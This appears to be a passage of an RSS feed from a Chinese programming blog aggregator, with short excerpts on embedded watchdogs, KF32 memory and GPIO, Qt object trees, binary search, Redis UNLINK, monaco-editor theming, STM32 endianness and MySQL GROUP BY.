      <description>一、介绍 看门狗可以使系统在异常情况下能自动复位，是在一定时间内可以被复位的计数器。&#xA;1.从软硬件控制类型划分，看门狗可分为硬件狗和软件狗。&#xA;硬件看门狗：是利用一个定时器电路，其定时输出连接到电路的复位端,程序在一定时间范围内对定时器清零,使其不复位。&#xA;软件看门狗:将硬件电路上的定时器用mcu的内部定时器代替，类似一种监控软件，使用内部定时器对主程序的运行进行监控，对定时器的时间进行设定，当产生定时器中断时，设置一个变量，有一个初值，在程序的尾部观察其变量是否发生变化 ，如没有发生变化，则说明其发生了复位。&#xA;硬件看门狗比软件看门狗稳定，软件看门狗无法检测系统内部定时器自身发生故障。&#xA;2.又可分为独立看门狗和mcu自带的看门狗。&#xA;mcu自带的看门狗：实际上是mcu芯片自带的定时器，可随时禁用。&#xA;独立的看门狗：这种看门狗主要有一个用于喂狗的引脚和一个复位引脚，如果没有在一定时间内改变喂狗脚的电平，复位引脚就会改变状态复位CPU，可作为一个完全独立的进程在主应用程序之外运行，其上电工作后无法停止，但是会更加稳定。&#xA;3.从运行模式划分，可分为超时狗，窗口狗。&#xA;超时狗：即采用Timeout模式计时，在Timeout时间内都可以喂狗，当检测到超过设定的Timeout时间仍未喂狗则会触发进一步安全保护措施。&#xA;窗口狗：在某个特定的窗口周期内喂狗才有效。&#xA;超时狗比窗口狗使用更加简单，但是没有窗口狗稳定。&#xA;二、名词解释 1.喂狗：就是触发看门狗，计数器会被刷新，重新开始计算。按照喂狗频率，喂狗分为快狗Fast-Mode与慢狗Slow-Mode，即快速喂狗与慢速喂狗。在实际使用中，考虑到初始化到周期任务的时间较长，在Wdg初始化后会先设置WDG的运行模式为Slow-Mode，在周期任务正式运行后再切换为Fast-Mode。&#xA;2.杀狗：禁用/关闭看门狗。&#xA;3.咬狗：当看门狗启动后，计数器开始自动计数，经过一定时间，计数器溢出就会对CPU产生一个复位信号使系统重启（俗称“被狗咬”）。&#xA;三、应用（SBC芯片） 以SBC芯片进行举例说明，配置看门狗（窗口狗）窗口的大小需要在在寄存器中配置。需要查看手册，在SBC初始化中对相关寄存器进行配置。&#xA;SBC芯片有一个控制引脚debug是控制芯片是否在debug模式的，在debug模式下（debug引脚置高），看门狗将会失效，即喂狗与否都不会使系统复位。在正常模式下（debug引脚置低），在规定的窗口时间内喂狗可使其正常运行，否则出现系统复位现象，使用示波器或逻辑分析仪输出系统复位引脚的波形，来观察复位信号的情况。&#xA;观察结果：&#xA;在debug模式下（debug引脚处于高电平）喂狗函数使能与失能时，系统不会重启复位,观察波形无波形变化，为持续的高电平。如图1&#xA;2.在正常模式下（debug引脚处于低电平），喂狗函数使能，系统不会复位，观察波形无波形变化，为持续的高电平，如图1。喂狗函数失能时，系统重启复位，观察波形为高电平复位信号周期性变化，如图2。</description>
    </item>
    <item>
      <title>比较器与放大器区别</title>
      <link>https://bchobby.github.io/posts/9722286bb01bf553e8fb4020f22befa5/</link>
      <pubDate>Thu, 08 Jun 2023 10:21:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9722286bb01bf553e8fb4020f22befa5/</guid>
      <description>输出电路&#xA;运算放大器：采用双晶体管推挽输出。&#xA;比较器：只用一只晶体管，集电极连到输出端，发射极接地。&#xA;闭环特性&#xA;运算放大器：放大器大都工作在闭环状态,所以要求闭环后不能自激， 速度us级别，较稳定。&#xA;比较器：比较器大都工作在开环状态，速度快，ns级别。&#xA;对于频率比较低的情况放大器完全可以代替比较器,反过来比较器大部分情况不能当作放大器使用 。&#xA;补偿电路&#xA;运算放大器：针对线性区工作的需要加入了补偿电路 。&#xA;比较器：为了加快响应速度, 中间级很少, 也没有内部的频率补偿。&#xA;应用&#xA;运算放大器：在开关电源中主要用于反馈电路、过流保护的采样放大，线性放大电路（负反馈）。&#xA;比较器：信号电压比较。&#xA;符号记忆&#xA;运算放大器：±两端有电阻。&#xA;比较器：±两端没有电阻。</description>
    </item>
    <item>
      <title>KF32  存储（FLASH，EEPROM）</title>
      <link>https://bchobby.github.io/posts/354c80bf292b459555e441fb39a63b50/</link>
      <pubDate>Thu, 08 Jun 2023 10:14:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/354c80bf292b459555e441fb39a63b50/</guid>
      <description>一、RAM RAM随机存取存储器 ：类似手机中一般把其叫做（运行）内存。与ROM的最大区别是数据的易失性，即一旦断电所存储的数据将随之丢失。&#xA;RAM在计算机和数字系统中用来暂时存储程序、数据和中间结果。&#xA;二、ROM ROM只读存储器：类似手机的内部存储空间。&#xA;ROM又可以分为EEPROM，Flash：&#xA;1.EEPROM 可以随机访问和修改任何一个字节，可以往每个bit中写入0或者1，掉电后数据不丢失，可以保存100年，可以擦写100w次，擦除时以字节为单位，可靠性高，但是电路复杂/成本也高。因此目前的EEPROM都是几十千字节到几百千字节的，绝少有超过512K的。&#xA;2.Flash 擦除时以块为单位，电路相对简单，能存储的数据更多，成本低，单位为M的rom一般都是flash。&#xA;flash又可以分为nor flash和nand flash；&#xA;a. nor flash：数据线和地址线分开，可以实现ram一样的随机寻址功能，&#xA;读取：按字节；&#xA;擦除：按块擦除。&#xA;b. nand flash：数据线与地址线复用，不能利用地址线随机寻址。读取速度慢，擦除与写入的速度快，内部电路简单，存储的数据更多，体积小，容量大，可以标记坏块，从而使软件跳过坏块。&#xA;读取：按页；&#xA;擦除：按块擦除。&#xA;总结：嵌入式系统多用一个小容量的nor flash存储引导代码，用一个大容量的nand flash存放文件系统和内核。&#xA;参考EEPROM和flash的区别_yuanlulu的博客-CSDN博客&#xA;三、Autosar NVM Autosar NVM位于基础软件的服务层，为所有NV data的（初始化、读、写、控制）维护以及管理作提供了各种同步/异步服务。EEPROM和Flash，都在这层被抽象为同一类型，直到MemIf层才会做出区分。&#xA;Autosar 中对nv数据的存储主要包括片内存储和外部存储两种方式，片内存储是用芯片内部的DFLASH进行数据存储，外部存储是通过外部EEPROM进行存储，一般通过IIC,SPI,等通讯方式外挂EEPROM。&#xA;在Autosar中规定了四种 NVRAM Block，分别为 NV Block、RAM Block、ROM Block、Administrative Block。&#xA;NV Block&#xA;NV block是存储NV变量的基本结构，其中Header以及CRC校验非必须项。&#xA;RAM Block&#xA;由于NV变量的写入与读取都是一件相对较慢的操作，而应用层逻辑操作周期速度又太快。直接操作NV block显然不合适，所以在进行读写之前，会建议一个同样大小的Ram空间来操作、使用、存放这些还没有被写入或者读取的NV值。&#xA;在NVM中规定了permanent，temporary 两种类型。其中永久型在项目配置时就必须输入指定的RAM地址；而临时型不需要在项目配置期间就设定。&#xA;ROM block 用于存储默认值，以便当NV block数据出现损坏时予以替换。&#xA;Administrative block&#xA;Administrative block是专门用于对NVRAM Block 与 RAM blcok 的数据安全性进行管理而设计的，它对应用层并不可见。</description>
    </item>
    <item>
      <title>KF32 GPIO</title>
      <link>https://bchobby.github.io/posts/1cefb3bd2dc8a7c3aadc5ce61e3aef92/</link>
      <pubDate>Thu, 08 Jun 2023 10:14:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cefb3bd2dc8a7c3aadc5ce61e3aef92/</guid>
      <description>KF32开发 在开发KF32工程时的一些心得，适合新手小白。&#xA;GPIO模块的使用 GPIO是通用输入/输出端口的简称，是可控制的引脚，大部分引脚除了当GPIO使用之外，还可以复用位外设功能引脚（比如串口）。&#xA;引脚可分为输出模式与输入模式，输出模式通俗理解就是输出高低电平来控制其他硬件，如点灯等，输入模式即为读取其他硬件给他的电平，如键盘输入等。&#xA;###初始化&#xA;在设计GOIO代码时，需要对GPIO的一些参数进行初始化。&#xA;1.输出模式&#xA;GPIO_InitTypeDef GPIO_InitStructure;//定义结构体&#xA;GPIO_InitStructure.m_Mode = GPIO_MODE_OUT;//配置为GPIO Output模式&#xA;GPIO_InitStructure.m_OpenDrain = GPIO_POD_PP;//配置为推挽模式&#xA;GPIO_InitStructure.m_PullDown = GPIO_NOPULL;//配置下拉模式为不下拉，配置为GPIO_PULL代表为下拉&#xA;GPIO_InitStructure.m_PullUp = GPIO_NOPULL;//配置上拉模式为不上拉，配置为GPIO_PULL代表为上拉&#xA;GPIO_InitStructure.m_Speed = GPIO_LOW_SPEED;//配置速度模式为低速&#xA;GPIO_InitStructure.m_Pin = GPIO_PIN_MASK_0;//配置需要使用的输出引脚，例：PA0&#xA;GPIO_Configuration(GPIOA_SFR, &amp;amp;GPIO_InitStructure);//配置之前设置的配置参数结构体&#xA;GPIO_Set_Output_Data_Bits(GPIOA_SFR, GPIO_PIN_MASK_0, Bit_RESET);//配置输出引脚初始电平为低电平，高电平为Bit_SET&#xA;初始化结束&#xA;程序：&#xA;void gpio_init(void)&#xA;{&#xA;GPIO_InitTypeDef GPIO_InitStructure;&#xA;GPIO_InitStructure.m_Mode = GPIO_MODE_OUT;&#xA;GPIO_InitStructure.m_OpenDrain = GPIO_POD_PP;&#xA;GPIO_InitStructure.m_PullDown = GPIO_NOPULL;&#xA;GPIO_InitStructure.m_PullUp = GPIO_NOPULL;&#xA;GPIO_InitStructure.m_Speed = GPIO_LOW_SPEED;&#xA;GPIO_InitStructure.m_Pin = GPIO_PIN_MASK_0;&#xA;GPIO_Configuration(GPIOA_SFR, &amp;amp;GPIO_InitStructure);&#xA;GPIO_Set_Output_Data_Bits(GPIOA_SFR, GPIO_PIN_MASK_0, Bit_RESET);&#xA;}&#xA;2.输入模式&#xA;GPIO_InitTypeDef GPIO_InitStructure;//定义结构体&#xA;GPIO_InitStructure.m_Mode = GPIO_MODE_IN;//配置为GPIO Input模式</description>
    </item>
    <item>
      <title>Qt对象树和所有权</title>
      <link>https://bchobby.github.io/posts/5c7401b0b1a29bae24e202d1327e755d/</link>
      <pubDate>Thu, 08 Jun 2023 10:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c7401b0b1a29bae24e202d1327e755d/</guid>
      <description>文章目录 什么是对象树没有对象树机制会导致的内存释放问题在栈上创建QObject对象的注意事项，及Qt更推荐在堆上创建QObject对象由对象树管理内存需要满足的条件查看对象树机制的相关信息 什么是对象树 详见官方文档Object Trees &amp;amp; Ownership。&#xA;对象树是Qt基于元对象系统（meta-object system）机制（需要通过moc编译）提供的一种C++拓展特性，在一定程度上解决了内存问题。&#xA;对应QObject对象而言，其构造函数中可以指定自身的父对象指针，这样创建的这个QObject对象会自动添加到其父对象的children()列表中，而多个对象间的父子关系是树状的，因此被称为对象树。&#xA;Qt能够保证，任何在对象树中的QObject对象被析构时，如果这个对象有parent，则自动将其从parent的children()列表中删除；如果有child，则自动析构每一个child。&#xA;没有对象树机制会导致的内存释放问题 假设没有对象树机制，考虑如下代码：&#xA;#include &#34;mainwindow.h&#34; #include &amp;lt;QApplication&amp;gt; #include &amp;lt;QPushButton&amp;gt; int main(int argc, char *argv[]) { QApplication a(argc, argv); MainWindow w; //此处假设没有对象树机制，传入参数仅代表该对象 //需要显示在w之上 QPushButton *btn = new QPushButton(&amp;amp;w); btn-&amp;gt;move(200, 200); //不能在此处析构btn对象，否则按钮无法在w上显示 //delete btn; w.show(); //不能在此处析构btn对象，否则按钮刚在w上显示就被析构了 //delete btn; return a.exec(); //不能在此处析构btn对象，main函数已经返回，不会执行到此处 //delete btn; } 可以看到，对应new出来的btn，我们无法找到合适的位置将其delete，若没有对象树机制，则该代码是内存不安全的。&#xA;在栈上创建QObject对象的注意事项，及Qt更推荐在堆上创建QObject对象 在栈上创建QObject对象，并指定父对象时，需要注意对象的析构顺序，考虑如下代码：&#xA;#include &#34;mainwindow.h&#34; #include &amp;lt;QApplication&amp;gt; #include &amp;lt;QPushButton&amp;gt; int main(int argc, char *argv[]) { QApplication a(argc, argv); QPushButton btn; //btn先被构造 MainWindow w; //w后被构造 btn.</description>
    </item>
    <item>
      <title>写对二分查找不是套模板并往里面填空，需要仔细分析题意</title>
      <link>https://bchobby.github.io/posts/31cc5a684e358efaabeedd41af46dcfa/</link>
      <pubDate>Thu, 08 Jun 2023 09:52:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31cc5a684e358efaabeedd41af46dcfa/</guid>
      <description>视频讲解：《算法不好玩》二分查找专题 （已经录制的部分，能够帮助大家完全搞懂二分查找算法，非常适合初学的朋友们）。&#xA;2022 年 12 月 27 日补充：有时间的话请大家先看上面的视频，2 倍速看完就好，知道前因后果以后，再做题就更有方向了。文字题解的内容还是更偏向于做题，直接给出了最优解，没有一步一步探索的过程。这里帮大家归纳一下重点：有一些问题可以在循环之中找到答案，所以写法是 while(left &amp;lt;= right) ，循环体内是三个分支。更多的问题需要等到退出循环以后得到答案，所以写法是 while(left &amp;lt; right) ，循环体内是两个分支。&#xA;实际上「二分查找」没有多少东西，一点儿也不难，觉得「二分查找」难写对的朋友，请认认真真做几个「二分查找」的问题，弄清楚每一行代码的意思，遇到死循环的时候仔细调试，弄清楚逻辑关系，而不要套别人给你写好的模版。&#xA;有很多问题 mid 有可能是问题的答案，所以不能排除掉，所以你看到的代码是 left = mid 与 right = mid，不要有思维定式，代码一定要写成 left = mid + 1 或者 right = mid - 1，而应该看题目怎么说。看清问题比记忆模版重要得多，不同的问题答案不一样，如果题目的意思都没弄清楚，怎么解决问题。&#xA;如果你在学习二分查找的过程中有很多问题，你可以先记下来，不用急着与解决它们，等你做了足够多的问题，有了足够的思考以后，你的问题会慢慢得到解答，我的学习过程也是这样，这个过程是很充实的。&#xA;阅读提示：内容比较多，核心思想帮大家归纳一下。如果没有时间看，建议把后面的问题做一下。&#xA;题解核心内容：所有模板都一样，不可以套模板，而应该 仔细看题（解题的关键在认真读题），分析清楚题目要找的答案需要满足什么性质。采用两边夹的方式，每一轮把待搜索区间分成两个部分，排除掉一定不是答案的区间，最后左右指针重合的地方就是我们要找的元素。&#xA;重要的事情说三遍：&#xA;如果你看我写的「二分查找」题解，请忘记掉「左闭右开」这件事情，它会对你有所干扰；如果你看我写的「二分查找」题解，请忘记掉「左闭右开」这件事情，它会对你有所干扰；如果你看我写的「二分查找」题解，请忘记掉「左闭右开」这件事情，它会对你有所干扰。 说明：我所有的关于「二分查找」法的题解，都会明确地标注「下一轮搜索区间是什么」，进而设置左边界 left 和 右边界 right。在我写的「二分查找」题解里，while(left &amp;lt; right) 不表示 循环不变量的区间定义是 [left..right)，也就是说，如果我分析出，下一轮搜索区间是 [mid..10]，我会设置 right = 10，而不会设置 right = 11。&#xA;while(left &amp;lt; right) 只表示它本来的意思：在 left &amp;lt; right 进入循环体。不要给它附加别的意思，这没有逻辑。</description>
    </item>
    <item>
      <title>SpringBoot整合Ip2region获取IP地址和定位</title>
      <link>https://bchobby.github.io/posts/5adee0ea74f97df1e2f6af0ccc16e6f8/</link>
      <pubDate>Wed, 07 Jun 2023 23:24:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5adee0ea74f97df1e2f6af0ccc16e6f8/</guid>
      <description>1.Ip2region的介绍 1.1.Ip2region 是什么 ip2region v2.0 - 是一个离线IP地址定位库和IP定位数据管理框架，10微秒级别的查询效率，提供了众多主流编程语言的 xdb 数据生成和查询客户端实现 。&#xA;1.2.Ip2region 特性 1.2.1 标准化的数据格式 每个 ip 数据段的 region 信息都固定了格式：国家|区域|省份|城市|ISP，只有中国的数据绝大部分精确到了城市，其他国家部分数据只能定位到国家，后前的选项全部是0。&#xA;1.2.2.数据去重和压缩 xdb 格式生成程序会自动去重和压缩部分数据，默认的全部 IP 数据，生成的 ip2region.xdb 数据库是 11MiB，随着数据的详细度增加数据库的大小也慢慢增大。&#xA;1.2.3.极速查询响应 即使是完全基于 xdb 文件的查询，单次查询响应时间在十微秒级别，可通过如下两种方式开启内存加速查询：&#xA;vIndex 索引缓存 ：使用固定的 512KiB 的内存空间缓存 vector index 数据，减少一次 IO 磁盘操作，保持平均查询效率稳定在10-20微秒之间。xdb 整个文件缓存：将整个 xdb 文件全部加载到内存，内存占用等同于 xdb 文件大小，无磁盘 IO 操作，保持微秒级别的查询效率。 1.2.4.IP 数据管理框架 v2.0 格式的 xdb 支持亿级别的 IP 数据段行数，region 信息也可以完全自定义，例如：你可以在 region 中追加特定业务需求的数据，例如：GPS信息/国际统一地域信息编码/邮编等。也就是你完全可以使用 ip2region 来管理你自己的 IP 定位数据。&#xA;2.Java方式 2.1.下载ip2region.xdb 狮子的魂 / ip2region&#xA;下载完后放到工程的resources目录下</description>
    </item>
    <item>
      <title>JavaScript 学习笔记 超详细（b站pink老师）</title>
      <link>https://bchobby.github.io/posts/dbe8cdf3cf5f25b72495c16168e028b5/</link>
      <pubDate>Wed, 07 Jun 2023 22:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbe8cdf3cf5f25b72495c16168e028b5/</guid>
      <description>权威网站： MDN&#xA;JavaScript权威网站： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript&#xA;目录&#xA;一、JavaScript基础&#xA;1.JavaScript介绍&#xA;1.1 JavaScript 是什么 1.2 JavaScript 书写位置&#xA;1.3 JavaScript 注释 1.4 JavaScript 结束符&#xA;1.5 JavaScript 输入输出语法&#xA;1.6 字面量&#xA;2.变量&#xA;2.1 变量是什么？&#xA;2.2 变量的基本使用&#xA;2.3 变量的本质&#xA;2.4 变量命名规则与规范&#xA;2.5变量拓展-let和var的区别&#xA;2.6变量拓展-数组&#xA;3.常量&#xA;4.数据类型&#xA;4.1 数据类型 – 数字类型（Number）&#xA;4.2 数据类型 – 字符串类型（string）&#xA;4.3数据类型 – 布尔类型（boolean）&#xA;4.4数据类型 – 未定义类型（undefined）&#xA;4.5数据类型 – null（空类型）&#xA;4.6控制台输出语句和检测数据类型&#xA;5.类型转换&#xA;5.1 为什么需要类型转换&#xA;5.2 隐式转换&#xA;5.3 显式转换&#xA;综合案例：用户订单信息案例&#xA;6.运算符&#xA;6.1 赋值运算符&#xA;6.2 一元运算符&#xA;6.3 比较运算符</description>
    </item>
    <item>
      <title>Redis 之 UNLINK 命令</title>
      <link>https://bchobby.github.io/posts/8e9fb3f74d074c3a3ad8ffd9e03ae3c6/</link>
      <pubDate>Wed, 07 Jun 2023 20:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e9fb3f74d074c3a3ad8ffd9e03ae3c6/</guid>
      <description>Redis 的 UNLINK 命令用于异步删除一个或多个键，它是 Redis 的 4.0 版本引入的新命令。UNLINK 命令的作用类似于 DEL 命令，都是用于删除键值对，但是它的实现方式略有不同。&#xA;UNLINK 命令的主要特点是它是非阻塞的，它会在后台异步地删除键值对，而不会阻塞服务器的正常操作。这使得 UNLINK 命令非常适合于删除大量键值对或者删除耗时较长的键值对，因为它可以在后台完成删除操作，而不会对其他操作产生影响。&#xA;UNLINK 命令的语法如下：&#xA;UNLINK key [key ...] 其中，key 是要删除的键的名称，可以同时指定多个键。&#xA;与 DEL 命令不同，UNLINK 命令不接受模式匹配参数，只能指定具体的键名。如果需要使用模式匹配删除多个键值对，仍然需要使用 DEL 命令。&#xA;UNLINK 命令的返回值与 DEL 命令相同，表示成功删除的键的数量。&#xA;这个命令可以同时删除多个键，而不仅仅是一个。执行该命令后，指定的键值对将从Redis内存中删除，不再占用任何空间。如果某个键不存在，该命令不会报错，而是直接跳过该键。&#xA;需要注意的是，unlink命令仅仅是删除键值对，并不会立即将数据从磁盘上删除。如果需要将数据从磁盘上永久删除，可以使用FLUSHALL命令或者在配置文件中设置maxmemory-policy为volatile-lru或allkeys-lru。&#xA;总结来说，UNLINK 命令是 Redis 提供的一种非阻塞删除键值对的方式，适用于大量或耗时较长的删除操作。&#xA;转载本文，请注明出处、作者</description>
    </item>
    <item>
      <title>Solidwoks PDM Add-ins (C#) 创建Add-ins</title>
      <link>https://bchobby.github.io/posts/b117d4201b63cc632bb6d1e0e6d66bbb/</link>
      <pubDate>Wed, 07 Jun 2023 19:54:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b117d4201b63cc632bb6d1e0e6d66bbb/</guid>
      <description>本主题演示如何在Microsoft Visual Studio Enterprise 中使用Visual C#创建并调试add-in。&#xA;注意： 因为 SOLIDWORKS PDM Professional无法强制重新加载在 .NET 中编写的add-in程序，则必须重新启动所有客户端计算机，以确保使用最新版本的add-in程序。&#xA;启动 Visual Studio File(文件) &amp;gt; New(新建) &amp;gt; Project(项目) &amp;gt; Visual C# &amp;gt; Windows &amp;gt; Class Library(类库)选择版本。更多信息见 Using .NET Framework for Add-in Applications 在“名称”中键入项目的名称。单击浏览并选择创建项目路径。单击确定(ok)。 修改类名（可选） 在“解决方案资源管理器”中右击项目名称，然后单击“添加引用”。 单击左侧面板中的 COM，选择PDMWorks Enterprise 2019 Type Library，确定。单击左侧面板中的程序集-&amp;gt;框架，选择System.Windows.Forms(WF)，或者选择Presentation-Framework(WPF)，确定。关闭窗口。 需要把EdmLib嵌入互操作设置为False&#xA;在“解决方案资源管理器”中右击项目名称，然后单击“属性”。 “应用程序&amp;gt;程序集信息”。取消勾选“使程序集 COM 可见（M）”。在“生成”选项卡上，勾选“为 COM 互操作注册（C）”。 将此设置为调试加载项： 选择调试选项卡。选择 启动外部程序（X） 选择 C:\Windows\System32\notepad.exe如果在64位计算机上创建Add-in，在记事本中编辑 project_path\project_name\project_name\project_name.csproj 在 &amp;lt;PropertyGroup Condition=&#34; &#39;$(Configuration)|$(Platform)&#39; == &#39;Debug|AnyCPU&#39; &#34;&amp;gt; 下方 和 &amp;lt;PropertyGroup Condition=&#34; &#39;$(Configuration)|$(Platform)&#39; == &#39;Release|AnyCPU&#39; &#34;</description>
    </item>
    <item>
      <title>解决谷歌浏览器不显示翻译此页按钮（网页自动翻译）</title>
      <link>https://bchobby.github.io/posts/30cad2b08867c7d04391a600b9602c31/</link>
      <pubDate>Wed, 07 Jun 2023 19:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30cad2b08867c7d04391a600b9602c31/</guid>
      <description>多数情况下，碰见非简体中文网页，地址栏会显示翻译此页图标。误关或者由于其他原因，未出现此功能，可以尝试使用如下方式重新开启。&#xA;注意！！！2022年10月3日 谷歌公司宣布，因使用率低终止了在中国大陆的谷歌翻译服务。&#xA;如需翻译请自备梯子&#xA;1、打开设置页--&amp;gt;高级--&amp;gt;开启 询问是否翻译非您所用语言的网页 功能，重启浏览器。&#xA;如果此时依然未出现翻译此页按钮，接着看，&#xA;1、找到英语--&amp;gt;右侧三个点--&amp;gt;勾选以这种语言显示，重启。&#xA;2、找到中文(简体)--&amp;gt;右侧三个点--&amp;gt;移除简体中文--&amp;gt;重新添加语言，找到简体中文，重新添加，重启浏览器</description>
    </item>
    <item>
      <title>monaco-editor插件自定义编辑器内容颜色</title>
      <link>https://bchobby.github.io/posts/98c19a6cafc24fd61310ee702cf803dc/</link>
      <pubDate>Wed, 07 Jun 2023 19:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98c19a6cafc24fd61310ee702cf803dc/</guid>
      <description>开始之前先说一下他的自定义内容颜色的api&#xA;monaco.languages.setMonarchTokensProvider((languageId: string, languageDef: IMonarchLanguage | Thenable&amp;lt;IMonarchLanguage&amp;gt;))&#xA;参数解析：接收两个参数&#xA;一个是你要设置的编辑器语言种类，可以是sql,html,css,javascript等第二个参数就是具体设置不同关键字颜色的配置 monaco.languages.setMonarchTokensProvider(&#39;sql&#39;, { // 设置语法规则 tokenizer: { root: [ [/\b(SELECT|FROM|WHERE|ORDER BY|GROUP BY|JOIN|LEFT JOIN|RIGHT JOIN|INNER JOIN|ON)\b/, &#39;keyword&#39;], // SQL关键字 [/\b(AND|OR|NOT)\b/i, &#39;operator&#39;], [/&#39;([^&#39;\\]*(\\.[^&#39;\\]*)*)&#39;/, &#39;defineColor&#39;], } }); 这里着重讲一下第二个参数：&#xA;[/\b(AND|OR|NOT)\b/i, &#39;operator&#39;] ：该数组由两部分组成，第一部分是要匹配的字段的正则表达式，这里的意思是对“AND|OR|NOT”三个关键字进行单独设置颜色；&#xA;第二部分就是对应设置颜色的代名词，他可以由两种方式传入；&#xA;一种就是官方预先设置好的一些颜色名词如：具体名词和颜色的对应关系可以参考（Monaco Editor）&#xA;另一种方式就是我们在代码中提前设置好一些关键字以及他们的十六进制颜色编码，然后在使用，具体使用如下：&#xA;// 定义一个主题，通过rules关键字来设置自定义颜色名词， monaco.editor.defineTheme(&#34;myTheme&#34;, { base: &#34;vs&#34;, inherit: true, rules: [ {token:&#39;通知&#39;, foreground:&#39;FF0000&#39;}, ], }); monaco.editor.setTheme(&#34;myTheme&#34;); // 使用 monaco.languages.setMonarchTokensProvider(&#39;sql&#39;, { // 设置语法规则 tokenizer: { root: [ [/\b(AND|OR|NOT)\b/i, &#39;通知&#39;], } }); 解析： 这里通过defineTheme方法的rules属性来添加一个自定义颜色，名字是“通知”，颜色是红色，然后在单独对“AND|OR|NOT”关键字设置我们我们定义的“通知”颜色</description>
    </item>
    <item>
      <title>STM32是大端模式还是小端模式</title>
      <link>https://bchobby.github.io/posts/d038b88ffe0b2366e439b2b1a62a4fe8/</link>
      <pubDate>Wed, 07 Jun 2023 17:13:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d038b88ffe0b2366e439b2b1a62a4fe8/</guid>
      <description>1、为什么会有大端模式和小端模式？ 在计算机系统中，数据存储是以字节为单位的，每个地址单元都对应着一个字节，一个字节为 8bit。但是在C语言中除了8bit的char之外，还有16bit的short型，32bit的long型（要看具体的编译器）。另外，对于位数大于 8位的处理器，例如16位或者32位的处理器，由于寄存器宽度大于一个字节，那么必然存在如何将多个字节进行存储的问题，因此就区分出大端存储模式(big endian)和小端存储模式(little endian)。&#xA;2、什么是大端模式和小端模式？ 大端模式：数据的高字节保存在内存的低地址中， 数据的低字节保存在内存的高地址中;&#xA;小端模式：高字节保存在高地址， 低字节保存在低地址中;&#xA;举例说明（0x1234）：&#xA;地址0x08000000(低地址)0x08000001（高地址）大端模式0x120x34小端模式0x340x12 3、STM32是大端模式还是小端模式？ STM32是小端模式，即数据的高字节保存在低地址单元，数据的低字节保存在高地址单元，正好与我们的读数相反。例如将某些系统默认参数保存到STM32自带的FLASH中，打开Memory 视图即可看出数据的存储情况。</description>
    </item>
    <item>
      <title>element-ui 实现文件上传（多种文件格式）</title>
      <link>https://bchobby.github.io/posts/a9ad702604daf1316c53835df668edd6/</link>
      <pubDate>Wed, 07 Jun 2023 17:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9ad702604daf1316c53835df668edd6/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-form :model=&#34;dataForm&#34; ref=&#34;dataForm&#34; label-width=&#34;100px&#34; label-position=&#34;left&#34; :rules=&#34;rules&#34;&amp;gt; &amp;lt;el-form-item label=&#34;文件：&#34; prop=&#39;fileList&#39;&amp;gt; &amp;lt;el-upload class=&#34;upload-demo&#34; ref=&#34;upload&#34; drag :data=&#34;{ type: &#39;other&#39; }&#34; :limit=&#34;5&#34; accept=&#34; .xlsx, .pdf, .doc, .docx, .xls, .rar, .zip, .png , .jpg, .jepg&#34; :action=&#34;url&#34; :headers=&#34;headers&#34; :file-list=&#34;dataForm.fileList&#34; :auto-upload=&#34;true&#34; :before-upload=&#34;beforeUpload&#34; :on-remove=&#34;handleRemove&#34; :on-exceed=&#34;handleExceed&#34; :on-change=&#34;handleChange&#34; :on-success=&#34;handlePreview&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-upload&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;div class=&#34;el-upload__text&#34;&amp;gt;将文件拖到此处，或&amp;lt;em&amp;gt;点击上传&amp;lt;/em&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;el-upload__tip&#34; slot=&#34;tip&#34;&amp;gt;支持上传格式：pdf、doc、docx 、xlsx 、xls、 ppt 、pptx 、zip 、rar 、png 、jpg 、jpeg一次最多上传5个文件 &amp;lt;/div&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; // 上传前校验 beforeUpload(file) { if(file.size&amp;gt;1024*1024*500){ this.$message.warning(&#34;你上传的 \“&#34;</description>
    </item>
    <item>
      <title>mysql中的group by 和 having使用</title>
      <link>https://bchobby.github.io/posts/b75ab4d34af11daeae5da1336c1445f9/</link>
      <pubDate>Wed, 07 Jun 2023 15:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b75ab4d34af11daeae5da1336c1445f9/</guid>
      <description>mysql中的group by 和 having 使用&#xA;理论 –sql中的group by 用法解析：&#xA;– Group By语句从英文的字面意义上理解就是“根据(by)一定的规则进行分组(Group)”。&#xA;–它的作用是通过一定的规则将一个数据集划分成若干个小的区域，然后针对若干个小区域进行数据处理。&#xA;–注意:group by 是先排序后分组；&#xA;–举例子说明：如果要用到group by 一般用到的就是“每这个字” 例如说明现在有一个这样的表：每个部门有多少人 就要用到分组的技术&#xA;select DepartmentID as ‘部门名称’,&#xA;COUNT(*) as ‘个数’ from BasicDepartment group by DepartmentID&#xA;–这个就是使用了group by +字段进行了分组，其中我们就可以理解为我们按照了部门的名称ID&#xA;–DepartmentID将数据集进行了分组；然后再进行各个组的统计数据分别有多少；&#xA;–如果不用count(*) 而用类似下面的语法&#xA;select DepartmentID,DepartmentName from BasicDepartment group by DepartmentID&#xA;–将会出现错误&#xA;–消息 8120，级别 16，状态 1，第 1 行&#xA;–选择列表中的列 ‘BasicDepartment.DepartmentName’ 无效，因为该列没有包含在聚合函数或 GROUP BY 子句中。&#xA;–这就是我们需要注意的一点，如果在返回集字段中，这些字段要么就要包含在Group By语句的后面，&#xA;–作为分组的依据；要么就要被包含在聚合函数中。&#xA;–出现的错误详解:咱们看看group by 的执行的过程,先执行select 的操作返回一个程序集，&#xA;–然后去执行分组的操作，这时候他将根据group by 